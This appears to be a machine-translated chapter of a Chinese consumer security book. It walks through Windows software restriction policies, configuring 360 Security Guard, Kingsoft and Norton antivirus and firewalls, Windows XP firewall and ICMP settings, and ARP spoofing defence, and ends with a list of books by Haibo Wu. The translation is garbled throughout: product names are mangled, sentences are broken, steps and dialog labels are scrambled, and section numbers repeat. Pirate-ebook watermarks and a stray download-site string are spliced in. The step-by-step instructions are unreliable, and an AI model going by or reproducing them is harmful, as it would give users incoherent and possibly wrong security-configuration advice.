Using the “software limit strategy”, can be identified and specified computing allowed on which application is running, to protect the computer environment from untrusted code. Here is “software limit strategy” configuration method and application.

1. Creating software restriction policy

By default, the software restriction policy is closed, requires the user to manually create a strategy. Creating software restriction policy of the specific steps are as follows:

Steps 01 open the group policy window  , on the left side of the tree directory in a “computer configuration” - > “Windows Settings” - > “security Settings” - > “public policy” option, and under it “software limit policy” right click on options, in the shortcut menu select “creating software restriction policy” menu item.

Step 02 at this point, in the window on the right side of the containing object types appeared.

Software security level is divided into “not allowed” and “unlimited”, we can make any of these two levels is set to the default values. The specific operation method is as follows:

Steps in the group policy window **】** 01 of the directory tree on the left side of the “computer configuration” - > “Windows Settings” - > “security Settings” - > “software limit strategy” under “security level” option.

Step 02 if security level to “not allowed” is set to the default state, but in the name of “not allowed”, right-click on the shortcut menu, select “set as default” menu item, can pop up [software limit policy] dialog box. Click **【 is 】** button, you can set the security level for “not allowed” as the default state.

3. Create a Internet area rules

Internet area rules, including “Internet”, “local Internet”, “local computer”, “restricted site” and “there is no limit on the site,” the rule is mainly applied to the Windows installer package.

Here is to create rules of “Internet zone” concrete steps.

Steps in the group policy window **】** 01 of the directory tree on the left side of the “computer configuration” - > “Windows Settings” - > “security Settings” - > “software limit policy” under the rules of “other” option, and right-click on it, and on the shortcut menu select “new Internet area rules” menu item.

Step 02 at this point, you can open a new Internet area rules dialog **】** . In the “Internet zone” drop-down list, select the “restricted site” option, and in the “security level” drop-down list, select the “not allowed” option. Click [sure] button, can create the Internet zone rules.

4. Create a new path of rules

Path rules can be to install the software under a certain path, or need to access a control software running in the registry path. Here is to create a new path to the rules of the

specific operation method.

Step 01 right-click on the rules of “other” option, in the shortcut menu select “new path rules” menu item, open a new path rules dialog 】. Click on the “path” text box on the right side of the “browse” button.

Open step 02 】 【 browse the file or folder dialog box, choose one in which to create the path to the rules file, select “tools” on the desktop folder “360 security guards” file.

Step 3 click [sure] button to return to the desktop, double-click the have just create path rules “360 security guards” icon.

The second chapter antivirus software security defense

Every use of computer users, hopes to keep its own computer system in a better state of stable running safely, however, in the actual work and life, and can’t always avoid many problems, to solve these problems, the best solution is to learn to use anti-virus software to killing its own a computer virus.

12.2.1 360 antivirus software maintenance system

360 security guards at present the most powerful online necessary security software, it have spyware detection, cleaning, malicious software patches to repair, computer comprehensive physical examination, garbage and clear traces and other functions. The Trojan threat of far ultra virus the novel download | wRsHu. CoM “, 360 security guards on killing the Trojan, security, prevent computer become chicken and so on aspects, such as performance, is known as the “first choice” to prevent Trojan.

1. Killing the Trojan

360 antivirus software can quickly killing Trojan in the system and the specific steps are as follows:

Step 01 install and run 360 security guards, to enter the main window of the program.

Step 02 is at the top of the main window click on the button, the Trojan killing 】 【 can open [360 wood ma killing] window. In which lists the three scanning way, respectively

“quick scan”, “full scan” and “custom scan”, the user can choose according to need a way to scan.

free ebooks ==> www.ebook777.com

Step 3 click the “quick scan” icon here, can be scanned for Trojan. After the scanning, can be in 【 results 】 under the TAB shows the result of scanning, if found in computers, a Trojan, or other suspicious program, which can be selected, and then click the following button, immediate attention 】 【 them killing.

2. Clean up the plug-in

Extra plug-ins can slow down the speed of the computer and browser, 360 security guards can be used to clean the irrelevant and negative comments plugin. The specific steps are as follows:

Step 01 in 360 security guards in the main window to switch to the “clean plug-in” TAB, the program will automatically scan the computer that exist in all kinds of plug-ins, and clean up the Suggestions listed for each plug-in.

Step 02 if negative comments exist in the computer plug-in, can select the check box in front of the plug-in, click the “immediately clean up” button below, you can remove from the computer; If the user trust some plug-in, can select the plug-in, click on the [trust plugins] button, you can add them to the list of trusted plug-in.

3. Clean up using trace

360 antivirus software can also clean traces the use of computer, help users to better protect the Internet information security, to ensure the privacy of our users will not be infringed. Here is using the 360 security guards to clear traces using specific operation steps.

Step 01 in 360 security guards in the main window to switch to the “cleanliness” TAB, in which choose to scan option, and click the button to start scanning 】 【 .

Step 02, 360 security guards can start scanning computer use existing in the trace. Stay after the scanning, the program will show a computer can be the number of the project and take up space. Click on the “immediately clean up” button below, you can start cleaning the use of computers. Will stay clear, after the completion of the pop-up dialog prompting the user has been deleted successfully using trace.

12.2.2 using jinshan drug gangsters protection system

The latest version of the jinshan drug gangsters 2011 can automatically load the file on your system when Windows starts up real-time antivirus, E-mail monitoring, web anti-trojan, malicious behavior interception, active real-time updates and active leak repair, and other functions, from the beginning to the end to carry on the omni-directional whole computer monitoring and protection, make the computer get comprehensive security protection. And the software also has strong self protection function, can all virus immune disable anti-virus software.

Here is to use 2011 jinshan drug gangsters killing virus specific operation steps.

Step 01 2011 program in a computer installed jinshan drug gangsters, restart your computer, run the program, to enter 2011 in the main window of jinshan drug gangsters.

Before entering the virus scan step 02, need comprehensive set of scanning options first. Click “Settings” button at the top of the main window, can open the “comprehensive set” dialog. In may, when necessary, to set anti-virus options and anti-virus options.

Step 03 after completion of the set, you can return to jinshan drug gangsters in 2011, the main window. In which lists the three kinds of way of killing virus, respectively is “totally killing” and “quick killing” and “custom killing”, choose “custom” killing way here. At this point, then the pop-up **】** **【** browse folder dialog box, in the choice to be killing of disk or file, such as “local disk C.

Step 4 click [sure] button, jinshan drug gangsters killing on the selected disk C. Displays the scan is the scanning, the disk C no viruses and trojans.

In general, in an operating system can only install an anti-virus software, if the user has other anti-virus software installed on your computer, you can't get installed 2011 jinshan drug gangsters, otherwise will produce a software conflict, cause harm to the system. If you want to be in the operating system installed antivirus software to install antivirus software, you must first uninstall before installing the antivirus software.

12.2.3 use NORTON antivirus software protection system

NortonAntiVirus2010 is a very powerful anti-virus software, can help users to detect tens

of thousands of known and unknown viruses, and an automatic protection will be resident in the SystemTray when the phone is switched on. When a user from the disk, E-mail, Internet clip file open files automatically detect file security, if the file containing the virus, then would immediately warned and appropriate processing. It also comes with a “LiveUpdate” function, can help users automatically connected to the Symantec FTPServer to download the latest virus code.

1. Configuration NortonAntiVirus2010

Installed in the computer after NortonAntiVirus2010 NortonAntiVirus protection system is used, should first set, NortonAntiVirus turned on or off certain functions.

Configuration NortonAntiVirus2010 concrete operation steps are as follows:

Steps in the computer after installing NortonAntiVirus2010 01, double-click the “NortonAntiVirus” icon on the desktop, enter the main window.

Step 02 in the main window click on the “computer” option “Settings” link on the right side of the area, open the “Settings” dialog box. In the PC Settings TAB, the user can set the “computer scan”, “rule out”, “global intelligence cloud protection”, “scanning performance configuration file”, “real-time protection” option.

Step 3 select “network Settings” option, in which you can set the browser “active defense”, “download intelligence analysis”, “email protection”, “instant messaging program scan”, “intrusion protection” option.

Step 4 to switch to the “other Settings” TAB, in which the user can for “network proxy Settings”, “performance monitor”, “energy saving mode” option Settings.

2. Use NortonAntiVirus2010 scanner

In a computer installed NortonAntiVirus2010 every time after the launch system, it will automatically load protect the security of the user of the system. Using NortonAntiVirus2010 can automatic scanning system within the prescribed time, can also according to the custom manual scanning system. Specific operation steps of the NortonAntiVirus2010 scanning process is described below.

Step 01 in NortonAntiVirus2010 main window, click the button on the right side of the triangle button immediately scanning] [, can through three ways in the pop-up page scan system, respectively, “running a quick scan”, “comprehensive system scan” and “run the custom scan”.

Step 02 click the button, and run the custom scan] [can pop up “scan” dialog box, the user can define the scanned object. Click the button, and create a custom scan] [can pop-up dialog NortonAntiVirus scan wizard] [.

Step 3 click “next” button, in the pop-up dialog box can be added to scan the folder or file.

Step 4 click] [add folder button, in the pop-up dialog, select scan folder] [to scan the folder, select C drive here. Click on the [sure] button, return to step 4 in the dialog box.

Step 5 click “next” button, in the name of “scan” name text box input scan, give a name to the custom scan. Click “finish” button to return to “scan” dialog box, click the required scanning way, choose here just created custom scan “SM”, you can start scanning system.

Steps of 06 after the scanning,] [results] the TAB will display the results of the scan, in the “note” TAB displays the project risks.

Step 7 after completion of project risk handling, in “detailed results” TAB will display has to deal with the existence of the risk of project. Click the “security history” link beneath the window, can open the window, and security history] [in the “show” drop-down list, select the “exclusion zone” option, you can see already separate the risk of project.

Steps 08 in the window on the right side of the safety history] [the operation of the “recommended” list box to choose a project, and click the “more information” button, you can pop up [file intelligent analysis] window, in which to view the details.

3. Block malicious IP

Use NortonAntiVirus2010 also can be detected in some of the repeated scans or try to invade his malicious computer IP address blocked, in this way, the IP address of the host will not be able to connect with your own computer, attack our computer. Using NortonAntiVirus2010 blocking malicious IP addresses specific steps are as follows:

Step 01 in “Settings” dialog to switch to the network Settings TAB, click on the “smart firewall” - > “advanced Settings” on the right side of the “configuration” link, you can open the “advanced Settings” window.

Step 02 click on the “general rule” option on the right side of the “configuration” link, you can pop up “general rule” dialog box.

Step 3 click the “add” button, in the pop-up dialog, select add rules] [“stop: do not allow the connection with the rule matching” option.

Step 4, click “next” button on the display interface, select the “inbound links from other computer” option.

Step 5 click “next” button, the display interface, select the “computer and site listed below only” option.

Step 6 click the “type” of the list box below the “add” button, the [network] in the pop-up dialog box, enter the IP address of the block or website domain name, such as “192.168.0.9”.

Step 7 click [sure] button, return to “add rule” dialog box, and then the wizard prompts to complete in accordance with the rules of add operation. Return to the “general rule” dialog box, click [sure] button, add a rule to take effect.

Step 08 attacks in order to prevent malicious attackers constantly changing IP address their own computer, also can be in the “Settings” dialog “network Settings” TAB, click the “intrusion protection” - > “invasion of automatic stop” option on the right side of the “configuration” link to open the dialog invasion of automatic stop] [. Choose “open in them (recommended)” option, and set the invasion was detected to prevent invasion of computer connection time, invasion of computer in the set time period cannot normal connection with your computer.

4. Realize the port security

Using NortonAntiVirus2010 can also prevent a port from the remote computer attack, or to own a port blocked. But not before a detailed set of user needs, the specific steps are as follows:

Step 01 opened the “Settings” dialog, switch to the “network Settings” TAB, in turn, click “intelligent firewall” - > “advanced Settings” item on the right side of the “configuration” link, can pop up “advanced Settings” dialog box. Click the “configuration” link on the right side of the “general rules”, can open the “general rule” dialog box.

Step 02 in “general rule” dialog box, click “add” button, you can open the “add rule” wizard, and then in accordance with the method of adding malicious IP addresses set options, go here. When adding good after the IP address of the block, click the “next” button, can be set up to prevent the communication port.

Step 3 select the need to prevent protocol type, select the “with all types of the following is a list and only communication port matching” option, and click “add” button in the pop-up dialog box to add the specified port 】 【 need to block the port number, and in the “zone” options in the local or remote computer.

Step 4 click [sure] button, return to “add rule” wizard, and click “next” button, the display of the page to select “create safety record log entries” checkbox, is when the connection to create log match this rule.

Step 5 click “next” button to create the firewall rules, and then click “next” button, you can look at the specific content of setting rules, finally click “finish” button, the port security can be realized.

The third chapter firewall security policy

A firewall is a computer and the connection between network software, to scan through its network data, in order to filter out some of the attacks, to avoid its being executed on the target computer.

In addition, you can through the closed without the use of the port, the ban on a specific port of outflow, blockade trojans implants, banned from special site access, etc., to prevent unknown origin all communications of the invaders. Therefore, reasonable use of firewalls, can also be threat to security defensive role. This section will introduce several different firewall configuration and usage.

The function of 12.3.1 firewall

A firewall is a made up by software and hardware equipment, between Intranet and

extranet, private network and public interface structure between the protective barrier. Simply put, a firewall is a board in the network of the computer and it is connected between the software or hardware, set up a security between the Internet and Intranet gateway, the computer into the outflow of all network communication passes through the firewall, and thus protect the Intranet from the invasion of illegal users.

The advantages of the firewall is very much, just simply list a few below.

Low firewall can strengthen the security policy.

Low the firewall can record on the Internet activities effectively.

Low firewalls can be used to separate network in a network segment with another network segment. In this way, can prevent the impact of a problem spread through the whole network.

A firewall is a security policy checkpoints. All access to the information must be through the firewall, the firewall will become security checkpoints, to make the access denied of suspicious.

Although the firewall can to a certain extent, to defend against, but not everything. There's mastercard & also has some limitations.

Low firewall can't completely prevent the emergence of new network threats. The firewall is designed to prevent known threats. Although the firewall can also prevent new threats, but there isn't a firewall automatically resist of any a kind of new threats.

Low firewall can't prevent damage from within. Simply disconnected from a network, the firewall can stop the user of the system through the network to outside to send information. But if the attacker has inside the firewall, the firewall does not have any effect in fact.

Low firewall can not protect the connection around it. Firewall can effectively control through its communication, but no way to don't through the communication, such as somewhere to allow through the dial-up access to the internal system.

Low firewall can not prevent the virus. Although many firewall check all external

communication to determine whether it can be through the internal network, but it most is the source and destination address and port number, rather than containing data. Even if you can check the content of the communication, due to too much and the kinds of viruses in the data in a hidden way too much, all virus protection is not practical in a firewall.

12.3.1 Windows xp built-in firewall

The Windows xp built-in firewall, can effectively enhance the system security. A new generation of it is very important to the Windows xp operating system has increased a lot of new network functions, such as Internet connection firewall (ICF), it is a state of a firewall, you can monitor all communications through its path, and check the processing of each message source and destination address. ICF is mainly used to restrict what information can enter the Internet from home or small office network, and from the Internet into a home or small office network software.

The Windows xp built-in firewall need to properly configured to use, if improper configuration, the firewall will block network access of many applications, these applications cannot run normally. Below is the correct use and configure the Windows xp operating methods of the firewall.

1. To enable or disable Windows firewall

In the Windows xp operating system, to enable the Windows firewall, can open “control panel” window first, double-click the “Windows firewall” icon, you can open the dialog box, the Windows firewall 】 【 start Windows firewall main program.

In the select “enable” (recommended) option, to enable the Windows firewall; Select the “closed (not recommended)” option, will be closed the Windows firewall, the system will be in a state of unprotected.

2. Set the security logs

Use dialog Windows firewall 】 【 “advanced” TAB in the “security logging” function, you can create a computer to successful data connection and discarded packets, in order to analysis computer security situation.

Set the security logs of the specific steps are as follows:

Steps in the dialog Windows firewall] 【 01 to switch to the “advanced” TAB, click the “security logging” option area after the “Settings” button

free ebooks => www.ebook777.com

Step 02 at this point, you can open the “log Settings” dialog. The “record option” option, you can set the Windows firewall security logs to record the contents of the selected here “record discarded data” and “record of successful connection” check box.

Step 03 click log file option “save as” button in the options area, in the “save as” dialog box you can change the save location of security logs.

Step 4, click “save” button to return to “log Settings” dialog box. In the “size limit” in the text box can reset security logs the biggest size. Click [sure] button, can complete the set of security log.

3. The Internet control message protocol (ICMP)

Host and router IP communications are used by the Internet control message protocol (ICMP) can report errors and exchange limited control and status information, so in order to ensure that the computer some wrong information is not external leakage, users need to be careful setting ICMP. In the following cases, the Windows firewall automatically sends the ICMP message.

Low IP data don't have access to the target.

According to the current low IP router (gateway) doesn't transfer rate forward packets.

Low IP router sends the host redirected to use better route to arrive at the target.

Set the ICMP specific operation method is described below.

Steps in the dialog Windows firewall] 【 01 to switch to the “advanced” TAB, click in the “network connection Settings” option area “set” button, you can open the “advanced Settings” dialog box. Switch to the “ICMP” TAB, hope in the list box, select the computer response request information types corresponding check box.

Step 02 click [sure] button, can complete the set up of ICMP. To prohibit Internet control message protocol, the ICMP list box select the check box to cancel it.

12.3.2360 ARP firewall

360 arp firewall fully support Vista, Windows 7 operating system; ARP active defense functions, intelligent perception to ensure access to the Internet does not drop; Can effectively intercept network management tools, ARP trojans, network tools, contracting out the real-time killing ARP trojans, is to ensure the effect of the system security defense weapons. Look at the below 360 arp firewall using method.

1. Open 360 arp firewall

Step 01 in the computer after installing the latest version of the 360 security guards, run the program, to enter the main window, click the “Trojan firewall” button above.

Step 02 open [360 Trojan firewall] window, click the “ARP firewall” in the page after the corresponding button, open the defence function of 360 ARP firewall, active defense ARP spoofing attacks.

2. The real time killing

Open after 360 the defence function of ARP firewall, if this machine have the ARP deception, when ARP deception attack, the record will be displayed in the software page to intercept. To view the record of 360 ARP firewall intercept ARP attack, can be in 360 Trojan firewall 】 【 window to switch to the “view history” TAB, choose the “ARP firewall” list on the left side, if 360 ARP firewall intercept of ARP attack, can intercept the records shown in the right side of the page.

3. The defense ARP attack

In 360 Trojan firewall window 】 to switch to the “Settings” TAB, in the left list, select “ARP firewall”, in on the right side of the page can be set up to protect native gateway address.

Under the “gateway/DNS protection Settings” to choose “automatically” option, the software will automatically scan access gateway IP address and MAC address and protection; Select “manually specify the gateway/DNS” option, and click the button to manually bind gateway 】 【 in the pop-up dialog box to add protection gateway

IP/MAC 】 【 add gateway and DNS.

free ebooks ==> www.ebook777.com

Whether manual or automatic access gateway/DNS binding gateway/DNS, can be in the “Settings” TAB, click the “view binding status” button in the pop-up dialog box to check the local IP binding state 】 【 the corresponding network card IP binding state.

12.3.3 NORTON firewall

NORTON firewall SymantecClientFirewall preventing hacker attacks computer network communication, privacy, and remove don't need resources, can prevent unauthorized Internet users access to private computer and network.

Before using NORTON firewall to defend network attacks, we first to get to know the NORTON firewall SymantecClientFirewall5.0 installation method. The specific steps are as follows:

Step 01 “NORTON firewall 5.0” from the downloaded to a computer package to extract, and double-click the installer SCF. EXE, can begin to install NORTON firewall 5.0 and enter the installation wizard SymantecClientFirewall 】 【 dialog.

Step 02 click “next” button to open the “license agreement” dialog box, in which to choose “I accept the terms of the license agreement” option.

Step 3, click “next” button to open the dialog box, after installation start the LiveUpdate 】 【 in “whether to run LiveUpdate after installation is complete?” Options in the area “is, after the installation is complete run LiveUpdate” option.

Step 4 click “next” button to open the target folder dialog 】 , in which you can set the program installation position, keep the default storage location here.

Step 5 click “next” button to open the dialog box, ready to install the program 】 【 wizard is ready right now, can start installation.

Step 6 click “install” button to open the dialog box is installed SymantecClientFirewall 】 【 , can be seen at this point the application to start the installation and display the corresponding installation progress.

Step 7 in the process of installing SymantecClientFirewall will pop-up dialog box, welcome to use LiveUpdate] [in which you can configure the installed components.

Step 08 click “next” button, LiveUpdate began to search for available updates.

Step 09 for a few minutes later, LiveUpdate will show in the list box available updates.

Step 10 click “next” button, you can download and install available updates.

Step 11 click “finish” button to return to the dialog box is installed SymantecClientFirewall] [continue installation program.

Step 12 after the installation is complete, then the pop-up dialog box installation wizard to complete] [. Click “finish” button, the system will prompt the user to restart the system, the system after the restart, NORTON firewall installation is complete.

After installing the NORTON firewall 5.0, you can use it to defend network attacks. NORTON firewall 5.0 detailed operating methods are as follows:

Step 01 double-click the “SymantecClientFirewall” application icon on the desktop, can enter “SymantecClientFirewall” in the main window.

Step 02 click the “Internet status” window on the left side of the button under the “current state” option, in the “current status” on the right side of the page, the user can temporarily enable or disable all protection and view real-time statistics or temporarily stop protection, and other functions.

Step 3 click “Internet status” button under the “report” option, in the “report” on the right side of the page, the user can control from the “alarm tracker” receiving information.

Step 4 click the “client firewall” button on the left of the window, you can see four options. Click on the “client firewall Settings” option, in the “client firewall Settings” on the right side of the page, the user can view, modify, and enable the Internet security Settings.

Step 5 if you click on the “Internet access control” option, in the “Internet access control” on the right side of the page, you can control how to access the Internet on the user’s

computer applications.

free ebooks ==> www.ebook777.com

Step 6 if click “Internet zone control” option, in the “Internet zone control” on the right side of the page, users can set certain trust computers and restricted, 12-107.

Step 7 if you click “intrusion detection” option, can be in the “intrusion detection” on the right side of the page to view and control the reaction to attack. The program to monitor the Internet communication, looking for hacker attacks the typical form of communication. For example, if you have a computer in a series of trying to connect to your computer port, the intrusion detection to identify for port scan, this is the most common attack methods.

Step 08 click the window on the left side of the button, the privacy control] 【 in “privacy control” on the right side of the page, the user can view, modify, and enable the Internet privacy Settings.

The fourth chapter expert class (common problems and solutions)

It seems 1: in general, the calculation of ARP attacks opportunities appear what phenomenon?

Answer: based on the work characteristics of ARP protocol, to keep sending each other computer hackers have fraudulent claims ARP packets, packet contains inside and repeat the Mac address of the current equipment, make the other side in response to a message, due to simple address repeated errors cannot be normal network communication. Therefore, in the calculation of ARP attacks opportunities appear below two kinds of phenomenon.

Low pop-up “0-255 segments of the machine hardware address conflict segment and network of 0-255” dialog box.

A computer can’t normal surfing the Internet, network interruption of symptoms.

Because this kind of attack is the use of ARP request packet for “cheat”, the firewall will think is normal request packet, will not be intercepted. Therefore, common firewall is hard to resist the attack.

Control Your Opponent: A Minute Psychological Manipulation/ Haibo Wu

Five Years After Graduation Decided To Your Life/ Haibo Wu

Successful Parchment: Wake up the seeds of success/Haibo Wu

Panasonic Entrepreneurship: The Wisdoms for Managing/Haibo Wu

The Way Of Business : Matsushita way of business/Haibo Wu

Apple store marketing mix:Apple company ‘s marketing strategy.**Author: Haibo Wu**

Spend Money Make Money:Consumption to get rich.Author:Haibo Wu

Ugly People Ugly Truth :why am i so ugly. Author : Haibo Wu

BREAST BOOK . Author : Haibo Wu

Three years Successful method:Work in the first three years. Author : Haibo Wu

How to make chinese money .Author : Haibo Wu

Micro marketing to make money.:How to use Wechat to make money Author : Haibo Wu

From poor to rich. Author : Haibo Wu

From a street vendor to a billionaire . Author : Haibo Wu

Who’s stealing your money .Author : Haibo Wu

Macho Man Is A Kind Of Disease:Adonis Complex/Haibo Wu

Can’t Let Subordinates Know: The secret of the leadership/Haibo Wu

How to do the rich list to make money. Author : Haibo Wu

Rich Son Poor Son:Change the fate.Author : Haibo Wu

Happy Every Day:Love yourself first.**Author:Haibo Wu**

You Are To Reveal Your Secret: Body Language Is The Password/Haibo Wu

Influence Of Harvard Manager:Harvard Manager Professional Quality /Haibo Wu

Harvard Manager Knowledge Training: Harvard Manager’s Knowledge Of Economics/Haibo Wu

The Ability Of Harvard Manager :Improve the efficiency of the leadership work /Haibo Wu

Harvard manager’s strategic thinking :Harvard manager leadership philosophy /Haibo Wu

Harvard Manager Leadership Power :Modern Harvard Manager/ Haibo Wu

Harvard Manager Management Methods / Haibo Wu

Harvard Professional Managers: Harvard manager responsibilities /Haibo Wu

Harvard Manager Time Management /Haibo Wu

How To Do Work Every Day /Haibo Wu

The Harvard Negotiation Manager :Harvard manager negotiation skills and techniques /Haibo Wu

How To Meet :Harvard Manager’s Meeting /Haibo Wu

Public Relations Manager:Art Of Harvard Pr Manager /Haibo Wu

Enterprise Diagnosis :Harvard manager of diagnosis and treatment of disease /Haibo Wu

The company does not teach, but you must understand the financial common sense.:Financial decision success or failure of the enterprise / Haibo Wu

Protect Your Money:101 financial bad habit let you poor life!/Haibo Wu

The Habit Of The World’s Richest Man./Haibo Wu

The Classic Adult Joke :Not Another Teen Movie./ Haibo Wu

Adult Jokes / Haibo Wu

Internet Jokes :Humor And Jokes /Haibo Wu

Guangbiao Chen .Author:Haibo Wu

A woman's password:If a woman is a virgin can be seen from the legs.Author:Haibo Wu

|